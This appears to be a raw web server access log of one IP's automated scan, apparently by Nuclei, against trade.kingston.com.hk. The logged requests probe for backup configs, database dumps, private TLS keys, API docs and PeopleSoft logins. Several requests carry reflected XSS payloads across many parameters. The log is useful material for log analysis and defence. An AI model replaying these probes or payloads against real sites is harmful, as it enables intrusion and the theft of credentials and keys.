[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.backup HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/doc.json HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/trade.kingston.com.hk.pem HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?option=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-option%27%29%3E&server=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-server%27%29%3E&admin=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-admin%27%29%3E&create=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-create%27%29%3E&template=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-template%27%29%3E&number=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-number%27%29%3E&lastname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-lastname%27%29%3E&multi_number=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-multi_number%27%29%3E&size=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-size%27%29%3E&tax=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tax%27%29%3E&sql=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sql%27%29%3E&show_sticky=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-show_sticky%27%29%3E&attachments=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-attachments%27%29%3E&_method=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-_method%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ie.htm HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_wpeprivate/config.json HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/api-docs HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/trade.kingston.com.hk_key.txt HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql.php HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?taxonomy=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-taxonomy%27%29%3E&tables=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tables%27%29%3E&confirm=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-confirm%27%29%3E&db_port=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-db_port%27%29%3E&op=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-op%27%29%3E&untrashed=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-untrashed%27%29%3E&tid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tid%27%29%3E&flag=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-flag%27%29%3E&stylesheet=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-stylesheet%27%29%3E&download=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-download%27%29%3E&comment_status=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-comment_status%27%29%3E&_wpnonce=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-_wpnonce%27%29%3E&metakeyinput=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-metakeyinput%27%29%3E&remove=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-remove%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //si.html HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.zip HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/apidocs HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cert/trade.kingston.com.hk_key.txt HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql/console HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?deleted=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-deleted%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-search%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-action%27%29%3E&newname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-newname%27%29%3E&info=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-info%27%29%3E&content=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-content%27%29%3E&signature=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-signature%27%29%3E&noconfirmation=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-noconfirmation%27%29%3E&field=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-field%27%29%3E&output=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-output%27%29%3E&city=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-city%27%29%3E&rename=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-rename%27%29%3E&mail=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-mail%27%29%3E&term=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-term%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sad.html HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cert/kingston.com.hk_key.txt HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/app.db HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?tab=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tab%27%29%3E&domain=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-domain%27%29%3E&show=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-show%27%29%3E&submit=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-submit%27%29%3E&move=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-move%27%29%3E&userid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-userid%27%29%3E&oitar=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-oitar%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-key%27%29%3E&description=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-description%27%29%3E&user=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user%27%29%3E&active=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-active%27%29%3E&clone=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-clone%27%29%3E&success=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-success%27%29%3E&slug=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-slug%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.new HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fake.html HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger/static/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cert/trade.kingston.com.hk.txt HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?widget=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-widget%27%29%3E&height=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-height%27%29%3E&screen=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-screen%27%29%3E&pass2=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pass2%27%29%3E&redirect_to=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-redirect_to%27%29%3E&items=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-items%27%29%3E&string=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-string%27%29%3E&hidden=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-hidden%27%29%3E&f=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-f%27%29%3E&step=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-step%27%29%3E&role=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-role%27%29%3E&preview_nonce=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-preview_nonce%27%29%3E&date=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-date%27%29%3E&event=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-event%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //broken.html HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/private/trade.kingston.com.hk_key.pem HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-resources HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.z HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?num=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-num%27%29%3E&drop=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-drop%27%29%3E&g-recaptcha-response=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-g-recaptcha-response%27%29%3E&field_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-field_id%27%29%3E&user_email=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user_email%27%29%3E&alias=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-alias%27%29%3E&ref=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ref%27%29%3E&save=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-save%27%29%3E&enabled=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-enabled%27%29%3E&year=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-year%27%29%3E&checked=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-checked%27%29%3E&post_ID=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_ID%27%29%3E&files=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-files%27%29%3E&text-color=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-text-color%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //buy.html HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-resources/restservices/v2/api-docs HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certs/trade.kingston.com.hk_private.key HTTP/1.1" 196
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/playground HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //home/kingstonWORDPRESS.txt HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?admin_email=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-admin_email%27%29%3E&code=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-code%27%29%3E&dump=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dump%27%29%3E&item=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-item%27%29%3E&timezone=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-timezone%27%29%3E&blog_public=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-blog_public%27%29%3E&add=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-add%27%29%3E&enable=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-enable%27%29%3E&customized=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-customized%27%29%3E&admin_password=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-admin_password%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-keywords%27%29%3E&timestamp=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-timestamp%27%29%3E&label=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-label%27%29%3E&g=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-g%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //access.php HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.war HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certs/trade.kingston.com.hk.key HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/__swagger__/ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/production.db HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/subscriptions HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //home/kingston-WORDPRESS.txt HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?location=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-location%27%29%3E&link_url=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-link_url%27%29%3E&post_mime_type=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_mime_type%27%29%3E&uid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-uid%27%29%3E&host=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-host%27%29%3E&cmd=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cmd%27%29%3E&link_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-link_id%27%29%3E&reset=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-reset%27%29%3E&nonce=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-nonce%27%29%3E&username=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-username%27%29%3E&site=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-site%27%29%3E&do=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-do%27%29%3E&email=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-email%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //info.php HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/_swagger_/ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.tar HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certificates/trade.kingston.com.hk_priv.pem HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2 HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/spec/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //jquery.php HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.7z HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certificates/trade.kingston.com.hk_privkey.pem HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/altair HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/spec/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //news.php HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certs/trade.kingston.com.hk.pem HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
